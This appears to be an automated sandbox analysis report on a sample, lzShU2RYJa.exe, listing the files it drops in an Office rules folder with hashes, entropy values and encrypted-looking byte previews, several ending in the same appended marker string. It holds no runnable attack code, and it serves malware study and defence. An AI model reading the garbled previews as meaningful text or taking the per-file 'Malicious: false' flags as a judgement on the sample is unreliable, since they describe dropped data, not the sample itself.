Preview:	.<?...bUe 0.{.hF.@.=..y..<...hK.j.F..9N....Y.#t.s.[.,\....K...]........\.3.<8........C75D.d.2f...%Q..k..J..\...(.=..x... .......Y....p_%...B.~...K.._.q...?..Z..C... @.<.V.....l...O.}X.ZLV+...<.(v.......1.......F(..!"..9.0.N._..-..&5^..j.:.(....B..eC.. .!O....\.4.Yc.T'.).....m.......H.(F%.....!.x.@[....T/....C~..!...F.F........=?m!.5)o.w./.}.F..3.K...X.$h..z3X....x..#..~g..5...%.X.........X......^P>...V...yJ...g....Y.0.6.>Q.-.N....X..........p..W.&.;.I ...<bt.:T-.......S.wr...w.xl.....h...Bf...p..nZ.x.1K:.KD.8A.\|{.gY...H9v...FP...%m..Iv...B.$d)Ed.H..F.s ,.7.......e7E.MJ.......Tai..CF\|cAZ.<..}..X.c.B..u....'....7?.....k...`\|uc....H..]F.....r.@.......d"..O.&......pe...?W..J.......9/...8-.H....Z-..=...m..$Z.#k..z.'.8..i?w1.t....X.qP.Z^.y..@.b.\|...,+#..O....1..q...E3.....3....X...=..N3...O..j!].R.cG..m..=...V........!9.$6\UOR..#8}.+M...x}..q^.F-o...?...Uo.......C......o....[._.9.F...R..F.....s.V..@.....' ..'...0...a...$d...F..S]0.. .%..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3314
Entropy (8bit):	7.949621874916088
Encrypted:	false
SSDEEP:	96:gBd6TiMzEdMsUqAp0M8LaBypYyQeRvf9SL+ha/zRy1O9:gBdOiGEdVUKruwpYyQeJ1KPR
MD5:	DAF3CDFB0D3EB439CFB8CE89D0A1A610
SHA1:	CCA9670174C6AA5E2DEADB331058933B80BEF023
SHA-256:	96EC91FF40D424985973059381F19976152FEB1E13562B39CD32DB1C650621CE
SHA-512:	A6D1EEDCE398F2AD12E71173CAFE963ECC89E003C31C03770297D37F82D65B517ADBC76DFD4F616376C43EB15EDB27B25C55EF7AB2763AB3E637FBD5646B2A0C
Malicious:	false
Preview:	.<?.J..H..;.Q.A..h.WX..x...p./....k.2=D..%.J...,.h.......e.R{.dj..rD..t<!=.s....J....(i.KRz....1....&\|..AI....<..@..~/.w[5.....z...u.......<..l....\|.....~[.P..)IXbi5..R".\|...\|.........-..C.R$..x%..P{.....h.Ek.y....b)..c%.T D\... .&.>.7...]...._..}..9..!....{...jr<...Vf.. .)f...V...e$...#..".....v.:..^3.e...t.R:R..'....g_G/<b..rDC.TG.2.,...0.....M).}. .O.6_]..J.-....9.~L...B.9..F..JI.....^5.m...?.{.....X..I.v.z... K{.a....F.0B..HB\.2(...\3....i..A..}...#..%....@.....&.W.........k.}.#.....=.0...{O.{.N.4..c..X0.....2S...3....Ue.H..n......\.m..A.K.[w.......#.....2.x.#%.l.pC...?...g./E.t....r./D8e-../.I..[u..Cf:.->..kX$..b.G.[c.;R..Q...d. .......... .lI......6O.(\|.4.....n.pn'+..:...gj~........ve.t.i.....D;.}....&...6...JZj.[i.x...<..Ou2.6..0.\.(.q..c.@..dcxf,.g..x...D.m...).n<._.._JS..k..U.S.....>9J.;Z.;..x.Ek?.O..%...-1..l...u.Yr.a?..3..^.n.c.9...k..Q..(.....k.E/.L...@...W...*.)X....F....s..gW..t.......2.q-.S0.;....T8.5........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	3676
Entropy (8bit):	7.945508583546158
Encrypted:	false
SSDEEP:	96:Ozf7hQ53T613rp8TKjbrnFxvIhd1vquN580nxR7pz/9:OzW53T613rp8fd1ioXxRH
MD5:	8E01C7996CA1411B05A1C6CABEEE4270
SHA1:	4094CA68CC1AA0E8FA7F41EE441334180146485F
SHA-256:	A6A93D782B864FD9B5C53A9FBEABF64AF0247FF7B9117B461CC3295C6A685ABD
SHA-512:	9FD27D03AD377D73B17181AB153391DF2F10C17AD37ECF3934E81B45EB1E07E49B5285459FA9E2F4EF0BB9AD4D950862F081D7B806881246FA7FE006FBECF64F
Malicious:	false
Preview:	.<?..Em...=.P;...'...<Q..%..5...W.r.~(.^./..M..... .g.NHE.p...>...B..H..3.o...r...T...f.`...;(..Q!F.-.Z..5...'.d....S..\?.,.H.BMR..y....O.I]r^$...m._../.\o...m6}\..h.y.\|/1Q.%@.JHi...(.0...X.l<.r....h..g.%..&.s..\....s._.....)y.:2.n.[..{...9!.8../.>.{.b1..[..../.......%..d........#........O..G......z4...'....N......f.r........cg..?....6....Oj.D.P0....k....^..`..fg....'Y........P<i.......&b.DG....H...m.W..B.n...nGm..I.je....j<.^>.3...b.!..0..(....Z.<..Sh..&.w.VO.W.`Y.N.4J.Y..i.Nk..-.r3.+K../.,C3....6.I..}..A..MTN.~.d.W...i.8..M....r$.....U.$.6....aJ.....C.)...;...r.P9.(..k.......9...\|^.8.%.!...iK5S.@qV.H.....{.g.....<0N..S.U......4..DF...f[C]...X.2..........`Lp`.....I..wO..Q......Cc.0......h ...&...f..l..l.71=.\....{.%~.&..v...,.J..9.I.0....C.B.$.......\YQs.tK....oT&..I.(..SP.....F,.I.%H.U.....!l(A>....x.[.A<$s^.'.A....\.^A..3.)?7L.VR..Pw.C.....k..c.P6.v.-<...^...MH.lk.K.A6GX...H/Z.Ae:zP..$.i...\|[.6.B..v}.u.).9..K..cDK..vg...O..e..qO.xW.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2925
Entropy (8bit):	7.92949407171647
Encrypted:	false
SSDEEP:	48:8IxPHoQV9MLbtxRfSYpkKWd8KQreh92PQuOVmccXLV8ktpfqTTy05VriJbIUwyDP:88J/Mn9fSkkperVYzk9Snw5DyvJHW9
MD5:	32D60D2A772AAE6217D1A6E5C43B3B4F
SHA1:	E6E3DD2601C7177DA93DF0B4D197BC8605C51805
SHA-256:	06674AECABE5343DFE52AB48E931854718C6084EC276368F76D6264848EB946F
SHA-512:	421F373A4F4D984B2BCC22C7B94DACE0F86ACB175FB93FFCBA9E7DC9E04549527DE4DCA5CD120E80EB45449F60D21365814E5548E878CF778A91F5A833A9F9E3
Malicious:	false
Preview:	.<?...).\..)zLz..\|...(g.A!7[.u.....F.....B..{ebN.....ij..a.u..N....!....u..s..}.+.y.r.<.}..<1....c..&.Z..0..>...,..B..4.=.X.x..8.kq%Cn....hd@2R.<KE...?~.......F[N.=o.Su...K...}.j.I..{Q.......7.C]q...w/.....nn..&.p..p..Y.._.....+~..K....+....\e....<.M.....!>......@9.C).6.H.M...I.-./.,...qf......x..gp.D..J...q..G "Z.+.....g... A7E.+.u....D8...,#A....Z....0.!...[......S..........r....F.;..&..N......-.vR........D.....'..$.V.=W..'...F.b.t..n.%)..z....'.Z(.w...?....~.65.GO>..P.......f.JE.is....$isI..X...t.......b....t./...va.z.V.n.0...U.TK.bZ....c....AI3.j.$..M[.(..X.2....g;.....{.T{.%.J8$r>.x.1K!#I.[Tf@.D..x.JQ.........5.'...=4P8..S..m.ID..".{....x.<T..L..k;...~...g@}.-[.."r...hI>....#,.Z...N.4.....E..'%.AAo..p.H.V..D3V.".....Ny..g.K..H^.Ds.fJJ.q...V9.....Q8Dh.,.......=G.Z....29Xbg!<..R.][.X.[.q.TV@.6..I.{!k.........A....I"3.......=0.kw.+..5x...(.,S.rf.7.E..M..."...n.>.x.\..r...i..[.a^%Y.%.-r....M.O.&.Ddo.2..y..[...f./>../h..D.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2462
Entropy (8bit):	7.920909064417821
Encrypted:	false
SSDEEP:	48:nHD/sJLNH3wn22+8v8opUqjUPPFicY/M/3s3kEhx9Nae96brSmd+n8D+76Zjlma9:nDsHa22tvJeO1cuMNEhx9Nag6nWkX9
MD5:	944493F36D5A9BA9663EED7A0A3CEA62
SHA1:	F29A2D39053AAC7D46D42A5A0FAFDC7C13575CB8
SHA-256:	8CF4EDF8A1A1ABAE5C419CB011D121C33C5E2A133FAEE2BCDFBFF01D5671D61C
SHA-512:	33D9C7341E864B84E0D9BB527E0C8D796A9DC52628F07DB44DB2D51E82FD9AAD3C01225DCEFB8DE87B3875D4678A34BC9544C445AB20AA08AA62F649D8C87DC2
Malicious:	false
Preview:	.<?..8..H.4...nr....U..C`.7,tT4.........`....{G..jrn.....t.k..`&5...Z3Z.,.SY.s,...I..Gw<.`i.....S1...SR.!..l(V;...Tz(.'..x.\|/....J..&.U.1...S......J..K$..7.......Z."Vp....t9...x..)...:.k7...RU!&.. d....7.a.Z....a..r.......v.e/....t....3..s@.r.].\u..<...STv...+.`...[.>......Z..u.J.n\......".....`.P=}8./.L^..&.F.z...O..._#@..;..9.....%.=....Z...].U..).. ....i....`..m^............g{....G.l....(d...!K'.y.}.H.c..z...!.xd).N.y.P..'.\J/.{.....l}.W.t....o.o...R...............<....'#s..........[j...?_....;...@:#B....HP..L.-.D....A\|...r..[...e..e.'..z.X..K........kb.T.?.0.ESF&..U....x1.n@.r.'......+....#.S...{!.T........gYY..^X1~,t.+.tX1.Y.^......a..p..:A.O....k%..'.'9..khub.......k........%=...o...V.1....@.H.?.3...h.. ${.y,5#Eu.k.)....F.eR,...,...b.../.....{.g._/..s.(oY.O.@.P.nexghR.)..d.............W_.............P~0._........M....W#...t....x'WM...5U.u.....t...h:AFA:..P&..}.G2.V..y..h[...>'.S@{xx<2.%...Y.{.z.IJ'O.........2.&7I..r.\|..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	538
Entropy (8bit):	7.571087324914443
Encrypted:	false
SSDEEP:	12:RqLl5A5oH2LiuwOP6KYTiTJlRh+970d636wCjVcii9a:gLlp22uXP6DTitlRSM63jYVbD
MD5:	18DE6A85FD3F14635A1BC69EDCF89D94
SHA1:	C7F4A814536E7B0ECAB7C592363F167C202D9FE9
SHA-256:	AD823BA4E0ED10DD7A733116EB7D7917D04BA787B05924155DFC5739D1C0B397
SHA-512:	2AA5BD93428CC6E29E3D43914723EB9A08EA6F36AF9040B525D686C2E9A496F4F74A64DF7EEEBB881FFF7AB8D0D6F1A9B0E99A9F837CEDE7E54B325AA5528A11
Malicious:	false
Preview:	.<?._k......s.&8l.T..Fi.H..-........._.5.A.Kj.`....^.$3K.`.'....#.\kN.Ce1c.^sQ..:.fT..J.^@...k%t~.g.W....:~.."...\|)....w>{Wu.g..P.e^Vwyo..o.?...9.Y..\|.c&.f.4.3q....!O.z.n.2(`....V.l..........r.b.TSi.0...O...q.r.FI......naY..6..T%.<W.I.G....#...W...=o....U....p+.u....1.BH....Y..$..[.h.\|v....@.....F...P...-.j...2.......%..N.-.m.........3.K.....%......N.=..,.......,.%_b.....z..\|..[z.@.~s....i..U....5\8..).I..]pnb.Z..C....E.[.9EHbitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2494
Entropy (8bit):	7.9305004390409515
Encrypted:	false
SSDEEP:	48:9HgnjbxeYnqhKUgewfK+2IE0mXclZdpXsd+M4cdi7ztxhIC6kFD:anjdesqh7gvfR2IWclZjXgT4ZhIS9
MD5:	1F072C908E32DAC68D3AB43E7A68F167
SHA1:	39B8172B9E1988F67CD8661886A8393DC72FE9D1
SHA-256:	7B6E577A4939E100E626FFB44C6D6263226471E18DF51F00774DF1C8BF698E95
SHA-512:	48A5CD5CF9BF101B48C9CF29F1D797AA280D51D9FC900740534646FED976B6CA7400FC9972EC6E491A61937F52516D48EF8410EC69A90DB61B04134CDE6D9CB0
Malicious:	false
Preview:	.<?]..l.nM.....{v...i ..51...1m.0#.%..:......RV2.e.u...ao..a!...I$.@..\...N...c....l.6.....5..l.z?i....?.....b...7D.-fHp}5.......k.@.:.A.".N9....X.]...Z.........W .L-P.g@BIVU..o...v{.UK.Q[p"L'...?{89.L.....rV..B.U..t...f....!..J8..........^......mPd...w.~_F.&.U.C0Y.'.u...1.8.......=A..=.:......^o....q.......M.~.....-...o...Q....E{7t...hp....C..~t..t...I...s3..5@.n{L......O.\5.j6.]+{.P..4..8.k.L.y..w.&..2"...................._........:.. Y.#.....t~W....W..]..G=$......G.$...Ns..'..i.W.G..kp.....<.m!...mp..1.sy...>.O...I..R.(..y..-.`of(.D.....5.~D"...n.;.p....5v$xuX.H..P.G.^f$).~...Q.=J..>....@...t..<)O....T...$.....).\..^.R..LRte..R..........&......;.So..Q....$.<.@3.{. ..1."Pnb.....,H..D........N.b..}........cv.n.."...5......30..K......-..U...f..M.d/n. H... ..]B....X...K.....S.r..,NN.E..i.....r...i<.$\|:3.......<CY..;v+n[..G1+.......8....j5',v.G1?.U..NL:..k.....o..G......g..%.....^.Y....s......l.._.v..S...K96.QCJq..A...zs.......d..W..o=..v...3.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	742
Entropy (8bit):	7.704852449531379
Encrypted:	false
SSDEEP:	12:ifkhQbcwzBjXbnJlo8nyhcHnQEQ6zJWiMKoTbQVwEx/990X9XLe1XwuvNqejVciD:ruz9rJ/yewN6UKo4VwEx/9qPuscVbD
MD5:	CA4FBB8768AAE1A5316A6D1122C05A41
SHA1:	5604FA3242611221F20C074A8C9C3C4DF18AB15F
SHA-256:	8D20CC5430C1742CA53032AC666951EAE21A8FB8042CC81C528ADE959E3788FB
SHA-512:	9380B8A061A8139554EFBC97D5490947C62837261ECB6092726050A9EF2DC9E78378A6270CAC556E882E49F79AE7EED8258B2452766B7D4BFC2FE06E6919621D
Malicious:	false
Preview:	.<?.....6.BG........6.......9..9(w.z.._....<..u...d%..&...\.......6..b.3...U[+..I!.....`..... ...kn3.M.b.r. ...o^1..c>,...p$$..M....]....L.0......Z....C...7..o...SX>...:...^..w@.c.&.;=......W`......A.....&2....fK..@.CN.F..C..u..$..D+...#...ODA....>..Et......`8fh.gY....%Px.........>.{.. .......@...9.&.z.!.Q.C.)..0.._....w.bo..\|..kB..~...mY9H..`.O>9..,.z...wq....ha...i<..4.j.;....if....Hu.5.4.jVO...`.P..5_ .y(E.V.....v.....1O.`.E.,..F.d_...~....1.3.N.wn..l....R..5.......\|...9..?}.0.C....y....x.8..S...W.}o....b.'...%w....u.M.A.^..m.K.m...[..[.s..3.u.Ec..S.....La.a...q"...\|}....7.)..2.5.....y>....C..\|X..5....s;.A.gitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.7233390627777325
Encrypted:	false
SSDEEP:	12:bl0T3spBd76gYIl9ExUVn6BCEvxJCYevk6/5rQQvHgneNrb8kK7DhDjVcii9a:bl0Tsprll9kUd6Bx6O6/hQWVuhXVbD
MD5:	0C5BA39E737C18C77D347348D2F826FC
SHA1:	BC483FDA1BB2B0021AD4D639F530D3906F948D48
SHA-256:	B44EF20ACFB33D6EF3D92E4C98D03A26A331D7204CC4C55432A02984FA363E4B
SHA-512:	B9E7B4D374F435F79DBADC6925EADD93A7F6F76ECE4DE542CF95C92F45422393F36BDF3FE19CAF70EF9722FF7F639118825A4EC0D52C4423456ED005C2A27493
Malicious:	false
Preview:	.<?....,.UM0.3.C#"..C....I.........Q..dp:.U..1X.M?H...{l.L.0.P3....0..U!.K....+&=....%w%..G.:.....&XS..5...o.../...Hz...1.O..W..!...l3....`.N.I..up...{:........?Xx...G.<c*g..F. :K...u%.%.{<.R........=.......T.m...D..a.....2.......R.l7.a..)z...8....1Q.,].\|_e.LL?sU...+....:'.C.....<.... v6..:...UPk..Rt.K=.$E...<BZ_....oc.......e....%...........So&.......e.\.g$...=.%..%.G.Tn.@....5..."...Lb3..3&.k{..#...p.:D. E..w.\b...!..p.. ._......."z.-...6ON%.0TZ..('>...z...9.m..Z.N.s.%."..9.<f....:.4;=..Y'._.......I...).Y....\;$<c+../.i.&.....d.)...Nv......g.........7uy...........7{#..'...8.y. jc'...`..Yc..0.+'.....A...F..(.O{..`..Q]i.){:..&.\|>V..s#-u.;z.....T.+zR..WD.F...rIJ..:O..>..`N.L....e..-..U.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.666910871857705
Encrypted:	false
SSDEEP:	12:zZT88yRH3Ff9V3W5PsNUUbT4nDuRr4tJJhXC0OOzKZOlAIZNakF+jVcii9a:zV8/91VI5PsNUUcnDphXCmO7IZNpKVbD
MD5:	0E6802E3EE6457A7C5067CC78793827B
SHA1:	A280F5C937D3FA190A1659E818C020B086821488
SHA-256:	55A12C0AA9EB172C69A206BCE31A4339E2479CBA8F3937A2847B1D3F6760BA9E
SHA-512:	172A314B0620513B84A507DF489BBCA331FD34E9C2DF3460FC44007C840BAE34EB6033D41EB8EC420973B1A063A3D688FDC537EC1AB2365E835EA10CC573CA97
Malicious:	false
Preview:	.<?.\|.....f..<.V.ra....~.s....W..\...R+O.....8.\|.R..0.u....F..../.R...X...y...F..7..k..{.x..;.VK.,....._...6<.%.k..-.(....".tpv`6..Q........S.4.].{N:~..U..?(1.E.&.f..'bs....l+K.$....jK}.<....f....H-.u..oHc....,....@..V......>..]X.....B..{K.J>.HZ...#...#.`.......[V..1)w.....:/.D]M7.!....mVOb].....".....i.L.qvDr.[.......Y.X....o..@.....J..t.......DgM(1..............6Q.....`.BH.'!.{.5..8.Rp...\.N.....1t_t..e),..c.."._.R.Ao.+.....dP.[...C&...D...\:v.i.6gu..J..{t.3t.#.d.:R.M.B4..mJ...8L.X2c.O..M!sJ....rJ......:w..S..EL....3..fM.;.i....L....+...[.D...2....MRA..`.. ..F....N.....OF....J..S...tTdt.WH;...)c...f...r;7..........P.W.s]J.[itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.713890998154076
Encrypted:	false
SSDEEP:	12:RWux0cKPC2NvWv63Fdy0DKd366mnf1qF2c5J7JngDftV5p3JMCPOYA1qpvqQ42t5:RWfZL4K609ipKtVuqOupr42tKQXgcVbD
MD5:	1FBC596D1CB0FA72A697C55902DACAB9
SHA1:	EDAB4049DBD21BF2969A654266243DB42E8031E4
SHA-256:	060C81BCF7B81241FC6B1F6ED8E41C566E55E003ACDCEC42CB61A52C19756AC9
SHA-512:	776E61E89E9105F59204DBB1E7E4C5C35C9A8D45A75B0699B4F622EDF5E75088D250306E042CCB73BF4C6C21932B923BB070E52E141354D0D9733613DD561A9A
Malicious:	false
Preview:	.<?...c...o.W..9.p...1.z..\... ..e......J..d.)..js5Qa..^WvqHpf..K..7..d@Hw.I..f.....z..rKx..........u.$(.p..Z]&I.;.......v...z>.{..\..........a..U....5Q....DnE.<.(.....xM`.7J.MM2.c.[g.a.. ...aj.j0$....3.....5......D.:.`c...H!...m.F...;6s8...Wsu......d..Tr\|~./........r.8......O....J%ZO.....Q..X...TIJ..G-.j...l...'..gX`ZG...F.f.q.;f........c.Z. m..z...z...........B......P_..... ....%i+.a~...h..TG..../\....A..na..Q..i.V.y3.S\|Oy.....E.U".....-....6C..S...`...+.HJ.2XS..J^....8.z.Br.M....4.t........[G..7+.R..{.Ui..+.Y...k.#.....4CE/8......]uL!.......\..aeq.jU<....d....\~...........c.F..: qS.....-N..5"u...LF..k.9<..u+.5x.....T...R[.)..hP. \.Gv.uvp2..-'.r............F...U..FT.7..z..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	966
Entropy (8bit):	7.814682735481484
Encrypted:	false
SSDEEP:	24:r8jY4Wk2WfNEXygTlLNshtT2w6781rz015qw9TZVbD:r8j1fN0ygp5sCr7msESNFD
MD5:	4C5D111AC69E01CCD1544A7E8817DA5F
SHA1:	E22C3283314327798507DCD8A8135A3AA577FAB9
SHA-256:	029F461E6B250D049C243BB3387B31DC714AF4B2124A3DB65E9FC5E427BB0F5C
SHA-512:	689D99A594E639AEB77D9B1B4E81084FBF3995F880DF29C4548AD68F64FFC4E7BEDF463FCE72BBA28105D61424CB32BB4BA18D0592FB531A57E78982BA8E7679
Malicious:	false
Preview:	.<?.uN...6..?wXwU..r.K..2...:.-.DP.....1BEw.3..S..t.9}E.a..i.$3.v..K$jC.V.r...P..'....+.^er....0'..+...#..t.DP.sX..s.......dR.............4l....,.m..^e.X.+2MT...l.g...2k1.-,;.U....Q..;..m...]v..)zs.../W..V.....bTh...u2:._g.rY.'G.?.....Z.%{.....4...!.x........F6.....LL........PIt.?...........T...F....Z.^`.F..:q.Z.vD....`.(...>......>..7=..M......./_.r.h.D]....B..f..S7.).,.......Kr.....j.....j...Z..T.J..>6k..2X!....I?.K..B.2Y.....p.../b.pm.9W..C..M.+)..aH.....n.td....AOt\.R.'....N.....o..n.!c.>..........!...9Q\|`..Eeqn..oC..c.8.[..6....C...<1.\|B..?H..LA%$.e.....#..@...f....C_...t.w~..'lCb^?/(,..* .9...-.......mE.....z...A.=V...7.....\....<.5.:..L.\$(..UJ.6..(...I..-..bw..l....po....`.x...b.....,.~..m.M.x.........8\....*%o62....."jZ..\.2.Q..I"..hs.\|.u..........U.m."..^i..I.[.uP/.{.._.8U.=.s.=.'.5...H..&...Y..f.G!..uH..f...<v\..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.718806923845938
Encrypted:	false
SSDEEP:	24:y2OFxz+zpLpjdeVTKCY1H77YFNXpS4gvaFqwffiwVbD:eFdAp9jdeVTKtdWNXJgvaFVFD
MD5:	0A91BF728B07DD6E9A555DFC3FFE8EC1
SHA1:	5540170C7E33701E5AEB4693835EE3EBCC2070D1
SHA-256:	7D329189931B5B25CE47A775EF04AEE652A6FCAE11BD88BAA4CFF32720C70909
SHA-512:	5AAD1109A875F2A6E7B1D79175412BCBD642A114DCB6A5E1ED0D6BEF27D443C2022D2D696DB516D96A1D8E5D63B29FCB42CE87D69057DAD47B05D69EBD424A83
Malicious:	false
Preview:	.<?..zcH..b..8......._.Y.;..c.U,g)..+.+k...1.-............M.?.....$.r.,._....2....T....(.{....3L...ua]5.9.]H.n9...D..8m..$.^Vr......![rr..>^...-....S."..$3.q........lAp..5a...t]c.0.:x9.....&0.k7@..?.....n".w......>I?m.!O...G.....b.hTn.s.F....`...g..m...%.Z.e...}..4..B.;.. >......R.]..G...<Y&1.....x.6..K..Y.c5....k0~I.u.....rG..<...&....u+......4...;.....{..F...o_b-y...:...G.g\...r].(a..(\|IWW.[.o....4A.b..4hJb<+v.....^.H9.F..Wn..<.....$..]3-.?...%..T+P..3l.+>m..D.s9y+......n^H.....;.PB.q.0$.i2...m.3M(.3L.[q.Y... ..=..}wRM\/>..r..e[E<X.......0....?.qe..b,Q.h....H.U<....O.7..um...o..b...NPz.......3......J...+R......Zy.."..J:..t.L.Co..m....JB.......y.#.b@}...tcf.e..#.-...Gitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.678443023867615
Encrypted:	false
SSDEEP:	12:Gyo3s3QLOIEtubxqsuiQ0Ko9mPnlzsvI/V1ZULE73Y2+2WNa6UeKTugqfAjVciik:GbrLO9uAh0KFjx7wjKTugqfiVbD
MD5:	F664ACB2AC8C599A1834E1468F6771A4
SHA1:	839BFEE213DBF440AD5E33B75C42CCB219D35113
SHA-256:	7D0042B257B60144A7FCF3820E80356F74F322532D6A20921D05478AD869E022
SHA-512:	D6FFE475C27FD85139E9F4894923B535130B85FC4978ED5858FE2CE6633DD5B010F0CB758FA28441899B909CACD9C03B4C84E1F2F3A669225EF2E820B2C7D09B
Malicious:	false
Preview:	.<?m.N w.B.wp...X\|..@...LTFD.P......q.k......]~4Y...;.^...]U......<.M.....A..%....3.ov#..1.v.,...M.1.\=@...vRj?#....`..i.V.H....NM.p......m.tA.g.\|.S.m..-}.6^jM./....#..h.dr...M<. .7W?.....a-Uf..z..w..WW....X.~j....o.f..~.Y..........."......^..w......C<.....H.Q.iAL......G.Q.k.=......m..b...%G.]N5.Gp#.Fi!......j".L..yl...O...Z.p.q..d..w..G.X8!...6.'.,3.7...fqx......b.S..<.R..%p.L.<......\|..i.....L.,.xcx...r+J.@..S..7.s.s...j{6..aC.;......;.H..6.F.].......4T\.I.......z...Xo....F.U%.....w.,g..q..NY?..sW.&P.Sz+....C.q...w..y..Q\t....gs....]3u.`._.1.5/.B(....W.m....*8...J.....a..L..."A.._A..=aJ..11;..B...Gg.....#.......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.745540870412879
Encrypted:	false
SSDEEP:	12:PHIUpF4Q+unPKkjZpzdhU/DhE3BMsU6ucXrcO2u1USn7XLxM18CesjVcii9a:PoUpB/pzLU/Dy3O5cXrcO2u1z72VbD
MD5:	4FA150FA655D72E73B1F60751B01C290
SHA1:	1836BD71FF8CAB76703AC25C21827B45AE5BF285
SHA-256:	D79100FC7463BE0209402AE0BDFB7A4FF17155718B026B10A2BAEE4170CF400F
SHA-512:	F2020843B6899D1DD3282EAF26B493F1E52AC5D26417E14CAE92ECD630B53DC69DDC22DF9524B78FCBEE69C561ECF83BC05453BC64927E87F72E17230719C69C
Malicious:	false
Preview:	.<?.#...:.J...v...O(..:...).U..z`u_S....'+.....lR.R..N...n[z.0.Q69.....Z.McN......P./..~..w...].....^a...=!.c...3'.+..S-ndw^...w.a..a..p.6p.\.r.&.u..p.u..f...!.`At3L..k.{.o0.a.o....%j..._....B....f./.I...qG.[..E{..Zh...W....Q....>..<.~L...e.9_.n......YR..z.....*:..5\......p..#.X/dX........1;qP.{V.TCQo....L...H..V.;.[.HD..2p%+ya.fr.P..a..)....p...d...m..LsY...)o9%qI.f..p...[.....T..:xU\|\~.pL...!..0].@-x.$.....A0...W<.5..O..E.e.............%..M)x.......X...N.V~6.N....E...;._....U2.....)&.).....`...f..24..L;.......p.).t.M. .....]<+....^P./"eu.I.F...{w.h....<~u.8@..9.B...Q.P..r.g./+.2^.e.G.2(..Z...I..s......LV..,...'.%...)$.K...,.a......Z...,}S..[LQ....]....qSaM...._.5.W...p(.p.:..W.).$.\|..g..3...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.697187823789687
Encrypted:	false
SSDEEP:	12:+KL3RLRLA9ySZSmhk0ziHZAR71g44ivAEru+IDjW5kHMjVcii9a:vL3H0JnOEJvAEhIDugWVbD
MD5:	1DBF9034860E9AF656F184A78DC7A764
SHA1:	1FD6CA66A6152D8B545E84B17224CEBC0D0426E0
SHA-256:	D408E47F58446A8BED362C6A7118F6063C770CEB3220CB0D32B11A8CEE8E5336
